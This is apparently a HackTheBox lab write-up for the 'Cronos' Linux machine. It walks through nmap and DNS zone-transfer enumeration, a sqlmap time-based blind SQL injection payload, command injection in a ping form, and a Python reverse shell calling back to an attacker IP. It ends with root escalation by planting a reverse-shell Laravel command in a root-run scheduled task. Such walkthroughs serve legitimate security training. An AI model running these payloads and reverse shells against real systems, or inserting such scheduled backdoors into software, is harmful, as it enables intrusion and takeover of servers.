Cronos

tags: HTB Medium Linux OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

# nmap -p- -T4 10.10.10.13
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-18 20:42 CET
Nmap scan report for 10.10.10.13
Host is up (0.093s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 99.73 seconds

Now that we know the open ports, let's scan them in depth.

# nmap -A -Pn -p 22,53,80 10.10.10.13
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-18 20:46 CET
Nmap scan report for 10.10.10.13
Host is up (0.093s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   92.88 ms 10.10.14.1
2   92.91 ms 10.10.10.13

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.12 seconds

Dig

As we can see, the machine has a DNS server on port 53, so let's see what subdomains it resolves.

# dig @10.10.10.13 cronos.htb axfr

; <<>> DiG 9.16.4-Debian <<>> @10.10.10.13 cronos.htb axfr
; (1 server found)
;; global options: +cmd
cronos.htb.     604800  IN  SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.     604800  IN  NS  ns1.cronos.htb.
cronos.htb.     604800  IN  A   10.10.10.13
admin.cronos.htb.   604800  IN  A   10.10.10.13
ns1.cronos.htb.     604800  IN  A   10.10.10.13
www.cronos.htb.     604800  IN  A   10.10.10.13
cronos.htb.     604800  IN  SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 92 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: jue mar 18 20:51:53 CET 2021
;; XFR size: 7 records (messages 1, bytes 203)

Exploitation

SQLMap

We are going to execute SQLMap on the access form of http://admin.cronos.htb.

# sqlmap -u http://admin.cronos.htb/index.php --forms --batch --dbs
.....................................................
.....................................................
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=yWyz' AND (SELECT 6227 FROM (SELECT(SLEEP(5)))seMD) AND 'LtFN'='LtFN&password=
---
.....................................................
.....................................................
available databases [2]:
[*] admin
[*] information_schema
.....................................................
.....................................................

Ok, now we are going to list the tables from the admin database.

# sqlmap -u http://admin.cronos.htb/index.php --forms --batch -D admin --tables
.....................................................
.....................................................
users
Database: admin
[1 table]
+-------+
| users |
+-------+
.....................................................
.....................................................

And now, let's list the records from the users table

# sqlmap -u http://admin.cronos.htb/index.php --forms --batch -D admin -T users --dump
.....................................................
.....................................................
Database: admin
Table: users
[1 entry]
+----+----------------------------------+----------+
| id | password                         | username |
+----+----------------------------------+----------+
| 1  | 4f5fffa7b2340178a716e3832451e058 | admin    |
+----+----------------------------------+----------+
.....................................................
.....................................................

Well, we have got the user admin with his password in MD5, we are going to try to decrypt it.

MD5 decrypt

We can decrypt the MD5 with this online tool

And now, we can access to the admin website with the admin user and 1327663704 password.

Admin website

When accessing with the credentials, we find a form that allows us to perform traceroute and ping to an address.

As we know, both commands are console commands so maybe we can do a command injection.

Typing ;id in the input text box, we can execute the id command.

Perfect! with this we can already get a reverse shell.

Reverse shell

Using command injection, we are going to inject a reverse shell with python having a terminal listening.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",8787));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
# nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.13] 55500
[email protected]:/var/www/admin$

And now, we can find the user.txt flag inside the noulis home.

[email protected]:/home/noulis$ cat user.txt 
CENSORED_FLAG

Post exploitation

Enumeration

Pspy

By executing Pspy64 we can see that every minute the commandphp /var/www/laravel/artisan schedule:run is being executed as root.

2021/03/19 01:13:01 CMD: UID=0    PID=31295  | php /var/www/laravel/artisan schedule:run 
2021/03/19 01:13:01 CMD: UID=0    PID=31294  | /bin/sh -c php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

As we can see, we have write permissions on the entire laravel directory since we are its owner, so we can create a command and configure laravel to execute our command in the scheduled task.

[email protected]:/var/www/laravel$ ls -la
total 2012
drwxr-xr-x 13 www-data www-data    4096 Mar 19 00:48 .
drwxr-xr-x  5 root     root        4096 Apr  9  2017 ..
-rw-r--r--  1 www-data www-data     572 Apr  9  2017 .env
drwxr-xr-x  8 www-data www-data    4096 Apr  9  2017 .git
-rw-r--r--  1 www-data www-data     111 Apr  9  2017 .gitattributes
-rw-r--r--  1 www-data www-data     117 Apr  9  2017 .gitignore
-rw-r--r--  1 www-data www-data     727 Apr  9  2017 CHANGELOG.md
drwxr-xr-x  6 www-data www-data    4096 Apr  9  2017 app
-rwxr-xr-x  1 www-data www-data    1646 Mar 19 00:33 artisan
drwxr-xr-x  3 www-data www-data    4096 Apr  9  2017 bootstrap
-rw-r--r--  1 www-data www-data    1300 Apr  9  2017 composer.json
-rw-r--r--  1 www-data www-data  121424 Apr  9  2017 composer.lock
-rwxr-xr-x  1 www-data www-data 1836198 Apr  9  2017 composer.phar
drwxr-xr-x  2 www-data www-data    4096 Apr  9  2017 config
drwxr-xr-x  5 www-data www-data    4096 Apr  9  2017 database
-rw-r--r--  1 www-data www-data    1062 Apr  9  2017 package.json
-rw-r--r--  1 www-data www-data    1055 Apr  9  2017 phpunit.xml
drwxr-xr-x  4 www-data www-data    4096 Apr  9  2017 public
-rw-r--r--  1 www-data www-data    3424 Apr  9  2017 readme.md
drwxr-xr-x  5 www-data www-data    4096 Apr  9  2017 resources
drwxr-xr-x  2 www-data www-data    4096 Apr  9  2017 routes
-rw-r--r--  1 www-data www-data     563 Apr  9  2017 server.php
drwxr-xr-x  5 www-data www-data    4096 Apr  9  2017 storage
drwxr-xr-x  4 www-data www-data    4096 Apr  9  2017 tests
drwxr-xr-x 31 www-data www-data    4096 Apr  9  2017 vendor
-rw-r--r--  1 www-data www-data     555 Apr  9  2017 webpack.mix.js

Privilege escalation

The first step we need is to create our command.

php artisan make:command RevShell  
Console command created successfully.

Once created, we can edit the command file app/Console/Commands/RevShell.php so that it makes a call to system() and it executes a reverse shell.

<?php

namespace App\Console\Commands;

use Illuminate\Console\Command;

class RevShell extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'command:RevShell';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'RevShell command';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Execute the console command.
     *
     * @return mixed
     */
    public function handle()
    {
        system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",8788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")\'');
    }
}

Finally, we modify the app/Console/Kernel.php file to execute the scheduled task and to add our command to the system.

<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

class Kernel extends ConsoleKernel
{
    /**
     * The Artisan commands provided by your application.
     *
     * @var array
     */
    protected $commands = [
        'App\Console\Commands\RevShell',
        Commands\RevShell::class
    ];

    /**
     * Define the application's command schedule.
     *
     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
     * @return void
     */
    protected function schedule(Schedule $schedule)
    {
        $schedule->command('command:RevShell')->everyMinute();
        // $schedule->command('inspire')
        //          ->hourly();
    }

    /**
     * Register the Closure based commands for the application.
     *
     * @return void
     */
}

Now we just have to put a terminal to listen and wait less than a minute.

# nc -lnvp 8788
listening on [any] 8788 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.13] 50544
[email protected]:/var/www/laravel# id
id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/var/www/laravel# cat /root/root.txt
cat /root/root.txt
CENSORED_FLAG
[email protected]:/var/www/laravel#

And that's it!